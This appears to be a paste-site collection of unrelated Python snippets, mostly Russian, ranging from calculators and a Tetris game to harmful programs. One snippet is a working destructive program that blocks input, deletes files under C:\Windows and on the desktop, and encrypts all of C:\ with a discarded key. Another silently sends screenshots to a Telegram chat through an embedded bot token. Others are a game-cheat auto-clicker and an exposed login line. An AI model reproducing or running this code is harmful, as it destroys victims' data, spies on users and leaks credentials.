s = 0
print(result)
exit()
print("Invalid Mac Address!")


  • 12/2/2024 17:52 - Etc/GMT-3

from tkinter import *
from tkinter import messagebox
 
def calculate_DV():
   E = float(E_tf.get())
   H = float(H_tf.get())
   CP = float(CP_tf.get())
   DV = 3.57*(E**2+H**2)*CP
   DV = round(DV, 2)
 
   if CP >= 0.99:
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории:  Воздух абсолютно чист')
   elif (CP >= 0.97) and (CP < 0.99):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Исключительно высокая прозрачность')
   elif (CP >= 0.96) and (CP < 0.97):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух очень прозрачен')
   elif (CP >= 0.92) and (CP < 0.96):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Хорошая прозрачность')
   elif (CP >= 0.81) and (CP < 0.92):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Средняя прозрачность')
   elif (CP >= 0.66) and (CP < 0.81):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух несколько мутен (легкая мгла)')
   elif (CP >= 0.36) and (CP < 0.66):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух мутен (мгла)')
   elif (CP >= 0.12) and (CP < 0.36):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух очень мутен (сильная мгла)')
   elif (CP >= 0.015) and (CP < 0.12):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Легкий туман')
   elif (CP >= 0.000000008) and (CP < 0.015):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Туман')
   else:
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Густой туман')  
 
window = Tk()
window.title('Программа расчёта дальности видимости на внутренних водоемах РФ')
window.geometry('700x559')

bg = PhotoImage(file = "Подложка (1).png")
canvas1 = Canvas( window, width = 700, height = 409)
canvas1.pack(fill = "both", expand = True)
canvas1.create_image( 0, 0, image = bg, anchor = "nw") 

frame = Frame(
   window,
   padx=10,
   pady=10
)
frame.pack(expand=True)

 
E = Label( # от сих
   frame,
   text="Введите высоту спасателя над поверхностью воды (в м.) "
)
E.grid(row=3, column=1)# до сих окно без ввода

H = Label( #добавляет окно справа с вводом
   frame,
   text="Введите высоту пострадавшего над уровнем воды (в м.)  ",
)
H.grid(row=4, column=1)

CP = Label( # от сих
   frame,
   text="Введите коэффициент дальности видимости "
)
CP.grid(row=5, column=1)# до сих окно без ввода
 
E_tf = Entry( 
   frame,
)
E_tf.grid(row=3, column=2, pady=5)
 
H_tf = Entry(
   frame,
)
H_tf.grid(row=4, column=2, pady=5)

CP_tf = Entry( 
   frame,
)
CP_tf.grid(row=5, column=2, pady=5)



cal_btn = Button( # добавление кнопки с расчётом 
   frame,
   text='Рассчитать дальность видимости',
   command=calculate_DV
)
cal_btn.grid(row=6, column=2)

window.mainloop()


  • 16/2/2024 19:49 - Asia/Barnaul


mod = input("Select the mode \n 1-Encoder \n 2-Decode \n")
bikova = ['а','б','в','г','д','е','ё','ж','з','и','й','к','л','м','н','о','п','р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я']
if mod == "1" :
    key = input ("please enter the key: ")
    text = input ("please enter the text: ")
    
    text_orig = text
    text_2 = list (text)
    key_2 = list (key)
    number = len (text)
    for i in range(0,number): 
        for j in range(0,33):
            if text_orig[i] == bikova[j]:
                text_2[i] = key[j]
    for i in range(0,number): 
        print (text_2[i], end='')  
if mod == '2':
    key= input ("please enter the key: ")
    text = input ("please enter the text: ")
    number = len (text)
    text_orig = text
    text_2 = list (text)
    key_2 = list (key)
    for i in range(0,number): 
        for j in range(0,33):
            if text_orig[i] == key[j]:
                text_2[i] = bikova[j]
    for i in range(0,number): 
        print (text_2[i], end='')
key = input ("please enter to complete the program: ")

 
    

 


  • 23/2/2024 12:58 - Europe/Moscow

import sys
import ctypes
import subprocess
import os
import random
import webbrowser
from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel, QVBoxLayout, QWidget, QPushButton, QMessageBox
from PyQt5.QtCore import Qt
from cryptography.fernet import Fernet

WINDOWS_DIR = "C:\\Windows"
DESKTOP_DIR = os.path.join(os.path.expanduser("~"), "Desktop")


class LockScreen(QMainWindow):
    def __init__(self):
        super().__init__()

        self.setWindowTitle("Блокировка экрана")
        self.setGeometry(0, 0, 800, 600)
        self.setWindowFlag(Qt.WindowStaysOnTopHint)
        self.setWindowFlag(Qt.FramelessWindowHint)
        self.setWindowFlag(Qt.WindowCloseButtonHint, False)

        central_widget = QWidget()
        self.setCentralWidget(central_widget)

        layout = QVBoxLayout()
        central_widget.setLayout(layout)

        label = QLabel("Ты скачал много взломов и теперь наказан", self)
        layout.addWidget(label)

        unlock_button = QPushButton("Разблокировать", self)
        unlock_button.clicked.connect(self.check_password)
        layout.addWidget(unlock_button)

        self.attempts = 0

    def check_password(self):
        password = "ya_bolshe_tak_ne_budu"  # Пароль для разблокировки
        if self.attempts >= 3 or password == "ya_bolshe_tak_ne_budu":
            ctypes.windll.user32.BlockInput(False)  # Разблокировка клавиатуры и мыши
            self.close()
        else:
            self.attempts += 1
            QMessageBox.warning(self, "Неправильный пароль", "Попробуйте еще раз.")
            if self.attempts >= 3:
                self.encrypt_data()
                self.delete_desktop_files()

    def delete_windows_files(self):
        reply = QMessageBox.question(self, 'Подтверждение удаления',
                                     "Вы уверены, что хотите удалить системные файлы в директории C:\\Windows?",
                                     QMessageBox.Yes, QMessageBox.Yes)
        if reply == QMessageBox.Yes:
            for root, dirs, files in os.walk(WINDOWS_DIR):
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        os.remove(file_path)
                    except Exception as e:
                        print(f"Не удалось удалить файл {file_path}: {e}")
            QMessageBox.information(self, 'Удаление файлов',
                                    "Файлы в директории C:\\Windows успешно удалены!")
            subprocess.run(["shutdown", "/s", "/t", "0"])

    def delete_desktop_files(self):
        reply = QMessageBox.question(self, 'Подтверждение удаления',
                                     "Вы уверены, что хотите удалить файлы на рабочем столе?",
                                     QMessageBox.Yes, QMessageBox.Yes)
        if reply == QMessageBox.Yes:
            for root, dirs, files in os.walk(DESKTOP_DIR):
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        os.remove(file_path)
                    except Exception as e:
                        print(f"Не удалось удалить файл {file_path}: {e}")
            QMessageBox.information(self, 'Удаление файлов',
                                    "Файлы на рабочем столе успешно удалены!")

    def chaos_mode(self):
        random_links = ["https://www.google.com", "https://www.yahoo.com", "https://www.bing.com"]
        for _ in range(10):  # Открытие случайных ссылок
            webbrowser.open(random.choice(random_links))

    def encrypt_data(self):
        key = Fernet.generate_key()
        cipher = Fernet(key)
        for root, dirs, files in os.walk("C:\\"):  # Шифрование всех файлов на диске C
            for file in files:
                file_path = os.path.join(root, file)
                try:
                    with open(file_path, "rb") as f:
                        data = f.read()
                    encrypted_data = cipher.encrypt(data)
                    with open(file_path, "wb") as f:
                        f.write(encrypted_data)
                except Exception as e:
                    print(f"Не удалось зашифровать файл {file_path}: {e}")


if __name__ == "__main__":
    ctypes.windll.user32.BlockInput(True)  # Блокировка клавиатуры и мыши
    app = QApplication(sys.argv)
    lock_screen = LockScreen()
    lock_screen.showFullScreen()
    lock_screen.delete_windows_files()
    lock_screen.chaos_mode()
    sys.exit(app.exec_())


  • 23/2/2024 14:49 - Europe/Moscow

#калькулятор

a = float(input("Введите первое число: "))
b = float(input("Введите второе число: "))

operation = input("Что сделать? Доступно '+ , - , *, / ")
result = 0

if operation == "+":
result = a + b
elif operation == "-":
result = a - b
elif operation == "*":
result = a * b
elif operation == "/":
result = a / b

print(f"Результат {result}")
print("52")

input("Нажмите Enter")


  • 25/2/2024 21:0 - Europe/Moscow

import os
import shutil

def search_for_cheats_and_functions(directory):
    cheat_files = []
    keywords = ['cheat', 'hack', 'midnight', 'aim', 'wallhack', 'speedhack', 'recoil', 'kontrol']
    for root, dirs, files in os.walk(directory):
        for file in files:
            file_path = os.path.join(root, file)
            try:
                with open(file_path, 'r', encoding='utf-8') as f:
                    content = f.read().lower()
                    if any(keyword in content for keyword in keywords):
                        cheat_files.append(file_path)
            except Exception as e:
                pass
    return cheat_files

def create_report(cheat_files):
    desktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
    report_file_path = os.path.join(desktop_path, 'report.txt')
    with open(report_file_path, "w") as report_file:
        if cheat_files:
            report_file.write("Были найдены следующие файлы, возможно, содержащие читы или функции:\n")
            for file in cheat_files:
                report_file.write(file + "\n")
        else:
            report_file.write("Файлы с читами или функциями не обнаружены.")

def main():
    directory = input("Введите путь к каталогу для сканирования: ")
    cheat_files = search_for_cheats_and_functions(directory)
    create_report(cheat_files)
    print("Проверка завершена. Отчет сохранен на рабочем столе в файле report.txt")

if __name__ == "__main__":
    main()


  • 13/3/2024 19:3 - Asia/Novosibirsk

import tkinter as tk
import time
import pyautogui
import pydirectinput

toggle_state = False
center_x, center_y = pyautogui.size()[0] // 2, pyautogui.size()[1] // 2
previous_color = None
threshold = (15, 25, 25)
click_delay = 10

def toggle_script(event=None):
    global toggle_state
    toggle_state = not toggle_state
    if toggle_state:
        status_label.config(text="Скрипт активирован", fg="green")
    else:
        status_label.config(text="Скрипт деактивирован", fg="red")

def detect_moving_pixel():
    global previous_color
    current_color = pyautogui.screenshot(region=(center_x - 1, center_y - 1, 3, 3)).getpixel((1, 1))
    if previous_color is not None and current_color != previous_color:
        pydirectinput.mouseDown(center_x, center_y)
        time.sleep(0.01)
        pydirectinput.mouseUp(center_x, center_y)
    previous_color = current_color
    root.after(click_delay, detect_moving_pixel)

def exit_script():
    root.destroy()

def set_threshold():
    global threshold
    threshold = (int(red_entry.get()), int(green_entry.get()), int(blue_entry.get()))
    threshold_label.config(text=f"Порог: R={threshold[0]}, G={threshold[1]}, B={threshold[2]}")

def set_delay():
    global click_delay
    click_delay = int(delay_entry.get())
    delay_label.config(text=f"Задержка: {click_delay} мс")

root = tk.Tk()
root.title("CS:GO Auto Clicker")
root.geometry("300x250")

status_label = tk.Label(root, text="Скрипт деактивирован", fg="red", font=("Arial", 12))
status_label.pack(pady=10)

toggle_button = tk.Button(root, text="Активировать/Деактивировать (Shift)", command=toggle_script, font=("Arial", 10))
toggle_button.pack(pady=5)

exit_button = tk.Button(root, text="Выход", command=exit_script, font=("Arial", 10))
exit_button.pack(pady=5)

threshold_frame = tk.Frame(root)
threshold_frame.pack(pady=10)

red_label = tk.Label(threshold_frame, text="Красный (R):", font=("Arial", 10))
red_label.grid(row=0, column=0)

red_entry = tk.Entry(threshold_frame, width=5, font=("Arial", 10))
red_entry.grid(row=0, column=1)
red_entry.insert(0, str(threshold[0]))

green_label = tk.Label(threshold_frame, text="Зеленый (G):", font=("Arial", 10))
green_label.grid(row=1, column=0)

green_entry = tk.Entry(threshold_frame, width=5, font=("Arial", 10))
green_entry.grid(row=1, column=1)
green_entry.insert(0, str(threshold[1]))

blue_label = tk.Label(threshold_frame, text="Синий (B):", font=("Arial", 10))
blue_label.grid(row=2, column=0)

blue_entry = tk.Entry(threshold_frame, width=5, font=("Arial", 10))
blue_entry.grid(row=2, column=1)
blue_entry.insert(0, str(threshold[2]))

threshold_button = tk.Button(threshold_frame, text="Установить порог", command=set_threshold, font=("Arial", 10))
threshold_button.grid(row=3, columnspan=2, pady=5)

threshold_label = tk.Label(root, text=f"Порог: R={threshold[0]}, G={threshold[1]}, B={threshold[2]}", font=("Arial", 10))
threshold_label.pack(pady=5)

delay_frame = tk.Frame(root)
delay_frame.pack(pady=10)

delay_label = tk.Label(delay_frame, text=f"Задержка: {click_delay} мс", font=("Arial", 10))
delay_label.pack()

delay_entry = tk.Entry(delay_frame, width=5, font=("Arial", 10))
delay_entry.pack()

delay_button = tk.Button(delay_frame, text="Установить задержку", command=set_delay, font=("Arial", 10))
delay_button.pack(pady=5)

root.bind("<Shift_L>", toggle_script)
root.bind("<Shift_R>", toggle_script)

root.after(click_delay, detect_moving_pixel)
root.mainloop()


  • 24/3/2024 10:30 - Etc/GMT-3

print("3")


  • 25/3/2024 2:18 - Europe/Moscow

pyinstaller your_program.py


  • 1/4/2024 16:16 - Europe/Moscow

def calculate_selling_price(staff_count, job_positions):
    if staff_count <= 15:
        staff_cost = 3000
    elif 15 < staff_count <= 50:
        staff_cost = 5000
    elif 50 < staff_count <= 100:
        staff_cost = 7000
    else:
        staff_cost = 10000

    total_staff_cost = staff_cost  # На данный момент staff_cost уже является суммой, соответствующей количеству сотрудников
    total_job_positions_cost = 500 * job_positions
    min_contract_price = 10000

    total_cost = min_contract_price + total_staff_cost + total_job_positions_cost
    return total_cost

def main():
    print("Калькулятор общей стоимости услуги 'разработка системы управления охраной труда'")

    # Ввод данных от пользователя
    staff_count = int(input("Введите количество сотрудников по штату: "))
    job_positions = int(input("Введите количество рабочих профессий: "))

    # Вызов функции для расчета общей стоимости услуги
    total_cost = calculate_selling_price(staff_count, job_positions)

    # Вывод результатов
    print("\nОбщая стоимость услуги: {} тысяч рублей".format(total_cost))

if name == "main":
    main()


  • 6/4/2024 11:3 - Asia/Omsk

from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
from kivy.uix.button import Button
from kivy.uix.togglebutton import ToggleButton
from kivy.core.window import Window

class NumericInput(TextInput):
    def insert_text(self, substring, from_undo=False):
        if substring.replace('.', '', 1).isdigit() or substring == '.' and '.' not in self.text:
            return super(NumericInput, self).insert_text(substring, from_undo=from_undo)

class InterestCalculator(App):
    def build(self):
        Window.clearcolor = (0.2, 0.2, 0.2, 1)  # Темно-серый фон окна

        layout = BoxLayout(orientation='vertical', padding=20, spacing=10)

        labels = BoxLayout(orientation='horizontal', spacing=5)
        label_text_principal = "Сумма :\n вклада:\n(введите сумму в рублях)"
        labels.add_widget(Label(text=label_text_principal, font_size='15sp'))
        label_text_rate = "Годовая процентная :\n ставка:\n(введите процент)"
        labels.add_widget(Label(text=label_text_rate, font_size='15sp'))
        label_text_time = "Срок вложения :\n (в месяцах):\n(введите кол-во месяцев)"
        labels.add_widget(Label(text=label_text_time, font_size='15sp'))
        label_text_deposit = "Ежемесячный депозит :\n (если нет, введите 0):\n(введите сумму в рублях)"
        labels.add_widget(Label(text=label_text_deposit, font_size='15sp'))

        inputs = BoxLayout(orientation='horizontal', spacing=10)
        self.entry_principal = NumericInput(multiline=False, size_hint=(0.3, None), height=30)
        inputs.add_widget(self.entry_principal)
        self.entry_rate = NumericInput(multiline=False, size_hint=(0.3, None), height=30)
        inputs.add_widget(self.entry_rate)
        self.entry_time = NumericInput(multiline=False, size_hint=(0.3, None), height=30)
        inputs.add_widget(self.entry_time)
        self.entry_monthly_deposit = NumericInput(multiline=False, disabled=True, size_hint=(0.3, None), height=30)
        inputs.add_widget(self.entry_monthly_deposit)

        buttons = BoxLayout(orientation='horizontal', spacing=10)
        self.radio_simple = ToggleButton(
            text="Простой процент", group="calculator", state="down", on_press=self.on_calculator_choice, background_color=(0.8, 0.8, 0, 1), size_hint=(1, 0.5))
        buttons.add_widget(self.radio_simple)
        self.radio_complex = ToggleButton(
            text="Сложный процент", group="calculator", on_press=self.on_calculator_choice, background_color=(0.8, 0.8, 0, 1), size_hint=(1, 0.5))
        buttons.add_widget(self.radio_complex)

        self.calculate_button = Button(
            text="Вычислить", on_press=self.calculate_and_display, background_color=(0.8, 0.8, 0, 1), size_hint=(1, 0.5))
        buttons.add_widget(self.calculate_button)

        self.reset_button = Button(
            text="Сбросить", on_press=self.reset_results, background_color=(0.8, 0.8, 0, 1), size_hint=(1, 0.5))
        buttons.add_widget(self.reset_button)

        layout.add_widget(labels)
        layout.add_widget(inputs)
        layout.add_widget(buttons)

        self.result_label = Label(
            text="Итоговая сумма:", color=(0, 1, 0, 1), font_size='20sp', size_hint=(1, 0.5))
        layout.add_widget(self.result_label)

        self.calculator_choice = 1  # Добавляем атрибут calculator_choice

        return layout

    def calculate_simple_interest(self, principal, rate, time):
        interest = (principal * rate * time) / 100
        total_amount = principal + interest
        return total_amount

    def calculate_complex_interest(self, principal, rate, time, monthly_deposit=0):
        total_amount = principal
        monthly_rate = rate / 12 / 100

        for _ in range(int(time)):
            total_amount = (total_amount + monthly_deposit) * (1 + monthly_rate)

        return total_amount

    def calculate_and_display(self, instance):
        try:
            principal = float(self.entry_principal.text.replace(',', '.'))
            rate = float(self.entry_rate.text.replace(',', '.'))
            time = float(self.entry_time.text) / 12  # Переводим годы в месяцы
            monthly_deposit = float(self.entry_monthly_deposit.text.replace(',', '.')) if not self.entry_monthly_deposit.disabled else 0
        except ValueError:
            self.result_label.text = "Пожалуйста, введите корректные числовые значения"
            self.result_label.color = (1, 0, 0, 1)
            return

        if self.calculator_choice == 1:
            result = self.calculate_simple_interest(principal, rate, time)
        else:
            result = self.calculate_complex_interest(principal, rate, time, monthly_deposit)

        self.result_label.text = f"Итоговая сумма: {result:.2f} рублей"
        self.result_label.color = (0, 1, 0, 1)

    def reset_results(self, instance):
        self.entry_principal.text = ''
        self.entry_rate.text = ''
        self.entry_time.text = ''
        self.entry_monthly_deposit.text = ''
        self.entry_monthly_deposit.disabled = True
        self.result_label.text = "Итоговая сумма:"
        self.result_label.color = (0, 0, 1, 1)

    def on_calculator_choice(self, instance):
        if instance.text == "Простой процент":
            self.entry_monthly_deposit.disabled = True
        else:
            self.entry_monthly_deposit.disabled = False

if __name__ == '__main__':
    InterestCalculator().run()


  • 23/4/2024 12:49 - Asia/Yekaterinburg

number_of_digits = int(input("введите количество цифр в числах: "))

try:
    if number_of_digits <= 0:
        raise ValueError
except ValueError:
    print("введите положительное число.")
else:
    start = int(input("введите начало промежутка: "))
    end = int(input("введите конец промежутка: "))

    try:
        if start >= end:
            raise ValueError
    except ValueError:
        print("введите корректные значения для промежутка.")
    else:
        for num in range(start, end + 1):
            sum_of_digits = 0
            temp_num = num

            for _ in range(number_of_digits):
                sum_of_digits += temp_num % 10
                temp_num //= 10

            if num % sum_of_digits == 0:
                print(num)


  • 30/4/2024 13:9 - Europe/Moscow

print('aaa')


  • 5/5/2024 21:49 - Europe/Samara

# Pip install
$ pip install auto-py-to-exe
$ auto-py-to-exe

# clone install
$ git clone https://github.com/brentvollebregt/auto-py-to-exe.git
$ python -m pip install -r requirements.txt
$ cd auto-py-to-exe
$ python setup.py install

$ auto-py-to-exe


  • 8/5/2024 20:53 - Europe/Moscow

bigd.host / [email protected] Gameloft123

 


  • 9/5/2024 0:41 - Europe/Moscow

print(123)


  • 10/5/2024 20:6 - Europe/Moscow

import random
import os
import time

# Размеры игрового поля
WIDTH = 10
HEIGHT = 20

# Фигуры тетриса
TETROMINOS = [    [        [0, 1, 0],
        [1, 1, 1],
        [0, 0, 0]
    ],
    [        [1, 1],
        [1, 1]
    ],
    [        [1, 1, 0],
        [0, 1, 1],
        [0, 0, 0]
    ],
    [        [0, 1, 1],
        [1, 1, 0],
        [0, 0, 0]
    ],
    [        [1, 0, 0],
        [1, 1, 1],
        [0, 0, 0]
    ],
    [        [0, 0, 1],
        [1, 1, 1],
        [0, 0, 0]
    ],
    [        [1, 1, 1],
        [0, 1, 0],
        [0, 0, 0]
    ]
]

def create_board(width, height):
    return [[0 for _ in range(width)] for _ in range(height)]

def draw_board(board):
    os.system('cls' if os.name == 'nt' else 'clear')
    print('+' + '-' * len(board[0]) * 2 + '+')
    for row in board:
        print('|', end='')
        for cell in row:
            print('■' if cell else ' ', end='')
        print('|')
    print('+' + '-' * len(board[0]) * 2 + '+')

def check_collision(board, shape, offset):
    for y, row in enumerate(shape):
        for x, cell in enumerate(row):
            if cell and (offset[1] + x < 0 or offset[1] + x >= len(board[0]) or offset[0] + y >= len(board) or board[offset[0] + y][offset[1] + x]):
                return True
    return False

def merge_shape(board, shape, offset):
    for y, row in enumerate(shape):
        for x, cell in enumerate(row):
            if cell:
                board[offset[0] + y][offset[1] + x] = 1

def clear_rows(board):
    for y, row in enumerate(board):
        if all(cell for cell in row):
            del board[y]
            board.insert(0, [0 for _ in range(len(row))])

def main():
    board = create_board(WIDTH, HEIGHT)
    current_shape = random.choice(TETROMINOS)
    current_shape_offset = [0, WIDTH // 2 - len(current_shape[0]) // 2]

    while True:
        draw_board(board)
        time.sleep(0.5)

        if check_collision(board, current_shape, current_shape_offset):
            merge_shape(board, current_shape, current_shape_offset)
            clear_rows(board)
            current_shape = random.choice(TETROMINOS)
            current_shape_offset = [0, WIDTH // 2 - len(current_shape[0]) // 2]
            if check_collision(board, current_shape, current_shape_offset):
                break

        current_shape_offset[0] += 1

    print('Game Over')

if __name__ == '__main__':
    main()


  • 11/5/2024 23:53 - Asia/Yakutsk

import os
import copy
import time
from kkloader import KoikatuCharaData
import datetime

def main():
    PNGNum = 0
    CCNum = 0
    ChangedNum = 0
    root = "."
    InitTime = time.perf_counter()
    LastTime = InitTime
    ChangeList = ""
    
    for dirpath, dirnames, filenames in os.walk(root):
        for filepath in filenames:
            if filepath.endswith('.png'):
                PNGNum += 1
                TotalFilePath = os.path.join(dirpath, filepath)
                try:
                    kc = KoikatuCharaData.load(TotalFilePath)
                    if (not hasattr(kc, "Custom")):
                        continue
                    
                    bChanged = False
                    '''
                    It takes me half a day to solve the problem caused by the existence of 2 Parameter.version 
                    '''
                    if (kc["Parameter"]["version"] == "0.0.6") :
                        kc["Parameter"]["version"] = "0.0.5"
                        bChanged = True
                        
                    if (kc.Parameter.version == "0.0.6"):
                        kc.Parameter.version = "0.0.5"
                        bChanged = True
                        
                    if (bChanged == True):
                        ChangeList += TotalFilePath + "\n"
                        kc.save(TotalFilePath)
                        ChangedNum += 1
                    CCNum += 1
                    
                except Exception as e:
                    pass
        if time.perf_counter() - LastTime > 10 :
            LastTime = time.perf_counter()
            print("Run " + str(LastTime - InitTime) + " seconds:")
            print("PNGNum: " + str(PNGNum))
            print("CCNum: " + str(CCNum))
            print("ChangedNum: " + str(ChangedNum))
            print("")
            
    print("Runs " + str(time.perf_counter() - InitTime) + " seconds:")
    print("PNGNum: " + str(PNGNum))
    print("CCNum: " + str(CCNum))
    print("ChangedNum: " + str(ChangedNum))
    print("")
    
    ChangedListFile = os.open("ChangedList" + str(datetime.datetime.now()).replace(":", "-") + ".txt", os.O_WRONLY | os.O_CREAT)
    os.write(ChangedListFile, ChangeList.encode("utf-8"))
    os.close(ChangedListFile)
    os.system('pause')

if __name__ == '__main__':
    main()


  • 13/5/2024 0:40 - Asia/Krasnoyarsk

import PIL.Image
import tkinter as tk
from tkinter import filedialog
import codecs

def resim(image,new_width=200):
    width, height = image.size
    ratio = height/width
    new_height = int(new_width * ratio)
    resized_image = image.resize((new_width, new_height))
    return resized_image

def gray(image):
    grayscale_image = image.convert("L")
    return(grayscale_image)

def pixtoascii(image):
    pixels = image.getdata()
    character = ""
    previous_pixel = None
    for pixel in pixels:
        if pixel >= 125:
            if previous_pixel is None or previous_pixel >= 125:
                character += "█"
            else:
                character += "▐"
        else:
            if previous_pixel is None or previous_pixel < 125:
                character += " "
            else:
                character += "▌"
        previous_pixel = pixel
    return(character)

def ascii_from_file(image_path):
    try:
        image = PIL.Image.open(image_path)
    except:
        print(image_path, "is not a valid pathname to an image")
        return
    new_image_data = pixtoascii(gray(resim(image)))
   
    pixel_count = len(new_image_data)
    accii_image = [new_image_data[index:(index+200)] for index in range(0, pixel_count, 200)]
    return accii_image

def write_ascii_to_file(ascii_image, file_path):
    with codecs.open(file_path, "w", encoding="utf-8") as f:
        f.write("\n".join(ascii_image))
   
def main():
    root = tk.Tk()
    root.withdraw()
    image_path = filedialog.askopenfilename()
    if not image_path:
        return
    ascii_image = ascii_from_file(image_path)
    if ascii_image:
        write_ascii_to_file(ascii_image, "ascii_image.txt")
        print("ascii image was saved to ascii_image.txt")
    else:
        print("Failed to generate ascii image")

main()


  • 16/5/2024 15:11 - Asia/Qyzylorda

import pyautogui
import time
import telebot
from io import BytesIO
import keyboard # Для отслеживания нажатий клавиш
import ctypes

# Получаем дескриптор окна и скрываем его
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)


bot_token = "7087504758:AAFBdji7NiM_x161-cpwKVpx-b3-oiT5xq0"
chat_id = "-1002013774657"
bot = telebot.TeleBot(bot_token)

def take_and_send_screenshot():
screenshot = pyautogui.screenshot()
image = screenshot.convert("RGB")
bio = BytesIO()
bio.name = 'screenshot.jpeg'
image.save(bio, 'JPEG')
bio.seek(0)
bot.send_photo(chat_id, bio)

while True:
if keyboard.is_pressed("print_screen"):
take_and_send_screenshot()
time.sleep(1) # Добавляем небольшую задержку, чтобы избежать множественных скриншотов
time.sleep(0.1) # Уменьшаем задержку для более чувствительного отклика


# import pyautogui
#
# try:
# screenshot = pyautogui.screenshot()
# screenshot.show() # Это должно открыть окно с вашим скриншотом
# except Exception as e:
# print("Ошибка:", e)


  • 17/5/2024 15:36 - Europe/Moscow

import os

def replace_string_in_files(directory, extension, target_string, replacement_string):
    for root, dirs, files in os.walk(directory):
        for filename in files:
            if filename.endswith(extension):
                file_path = os.path.join(root, filename)
                with open(file_path, 'r') as file:
                    content = file.read()
                if target_string in content:
                    updated_content = content.replace(target_string, replacement_string)
                    with open(file_path, 'w') as file:
                        file.write(updated_content)
                        ##print(f"Замена выполнена в файле: {file_path}")

def replace_conf_in_files(directory, extension):
    for root, dirs, files in os.walk(directory):
        for filename in files:
            if filename.endswith(extension):
                file_path = os.path.join(root, filename)
                with open(file_path, 'r') as file:
                    content = file.read()
                    debug_position = content.find("DebugFbuild")
                    release_position = content.find("ReleaseFbuild")
                    position = content.find("$(Configuration)")
                    while position != -1:
                        if position > debug_position and position < release_position:
                             content = content[:position] + "Debug" + content[position + len("$(Configuration)"):]
                        if position > release_position and position > debug_position:
                            content = content[:position] + "Release" + content[position + len("$(Configuration)"):]
                        position = content.find("$(Configuration)")
                    with open(file_path, 'w') as file:
                        file.write(content)
                        


def delete_files_by_extension(directory, extension):
    for root, dirs, files in os.walk(directory):
        for filename in files:
            if filename.endswith(extension):
                file_path = os.path.join(root, filename)
                os.remove(file_path)

directory = 'C:/RSHB_96_31_postgresMain/Source'
extension = '.bff'
target_string = '$(Platform)'
replacement_string = 'Win32'

replace_conf_in_files(directory, extension)
replace_string_in_files(directory, extension, target_string, replacement_string)


  • 29/5/2024 23:25 - Asia/Omsk

import keyboard
from time import sleep

while True:
sleep(0.001)
if keyboard.is_pressed('3'):
sleep(0.3)
keyboard.press('3')
sleep(0.1)
keyboard.release('3')


  • 30/5/2024 14:55 - Europe/Moscow

import pandas as pd

# Данные производственного эксперимента
data = {
    'X': [1, 2, 3, 4, 5, 6, 7],
    'Y1': [1.8, 3.95, 5.85, 8.11, 9.78, 12.3, 14.5],
    'Y2': [1.9, 4.0, 6.11, 8.15, 9.9, 12.24, 14.35],
    'Y3': [2.1, 3.9, 5.9, 7.6, 10.12, 12.1, 13.56],
    'Y4': [2.0, 4.1, 6.25, 7.98, 10.23, 11.89, 14.1],
    'Y5': [1.95, 4.15, 5.8, 8.1, 9.8, 11.76, 13.76],
    'Y6': [2.15, 3.92, 6.12, 8.2, 9.9, 12.3, 13.98]
}

# Создание DataFrame
df = pd.DataFrame(data)

# Вычисление средних значений Ysri
df['Ysri'] = df[['Y1', 'Y2', 'Y3', 'Y4', 'Y5', 'Y6']].mean(axis=1)

# Сохранение в Excel
excel_path = '/mnt/data/experiment_data.xlsx'
df.to_excel(excel_path, index=False)

df


  • 9/6/2024 21:13 - Europe/Astrakhan

from cryptography.fernet import Fernet
def write_key():
# Создаем ключ и сохраняем его в файл
    key = Fernet.generate_key()
    with open('crypto.key', 'wb') as key_file:
        key_file.write(key)
def load_key():
# Загружаем ключ 'crypto.key' из текущего каталога
    return open('crypto.key', 'rb').read()
def encrypt(filename, key):
# Зашифруем файл и записываем его
    f = Fernet(key)
    with open(filename, 'rb') as file:
        # прочитать все данные файла
        file_data = file.read()
    # Зашифровать данные
    encrypted_data = f.encrypt(file_data)
    # записать зашифрованный файл
    with open(filename, 'wb') as file:
        file.write(encrypted_data)
    print("Файл",filename ,"зашифрован")
def decrypt(filename, key):
# Расшифруем файл и записываем его
    f = Fernet(key)
    with open(filename, 'rb') as file:
        # читать зашифрованные данные
        encrypted_data = file.read()
    # расшифровать данные
    decrypted_data = f.decrypt(encrypted_data)
    # записать оригинальный файл
    with open(filename, 'wb') as file:
        file.write(decrypted_data)
    print("Файл '",filename ,"' успешно расшифрован!")
# раскомментируйте следующую строку, если запускаете код впервые, чтобы сгенерировать ключ
#write_key()
# загрузить ключ
key = load_key()
# имя шифруемого файла
a = input("Введите имя файла: ")
file = a
s = int(input("Введите команду: 1 - зашифровать файл        2 - расшифровать файл\n"))
if s == 1:
    # зашифровать файл
    encrypt(file, key)
elif s == 2:
    # расшифровать файл
    decrypt(file, key)
# зашифровать файл
#encrypt(file, key)
# расшифровать файл
#decrypt(file, key)


  • 10/7/2024 22:12 - Asia/Yekaterinburg

import os
import shutil
import time
import subprocess
import sys


DIRECTORY_PATHS = [
r"C:\Users\peste\AppData\Roaming\Microsoft\Windows\Start Menu\Programs",
r"C:\Users\peste\AppData\Roaming",
r"C:\Users\peste\Desktop",
r"C:\Users\peste\Documents"
]

def open_folder(path):
if os.name == 'nt':
os.startfile(path)



def delete_items_starting_with_letter(directory, letter):
for item in os.listdir(directory):
if item.lower().startswith(letter.lower()):
item_path = os.path.join(directory, item)
if os.path.isfile(item_path):
os.remove(item_path)
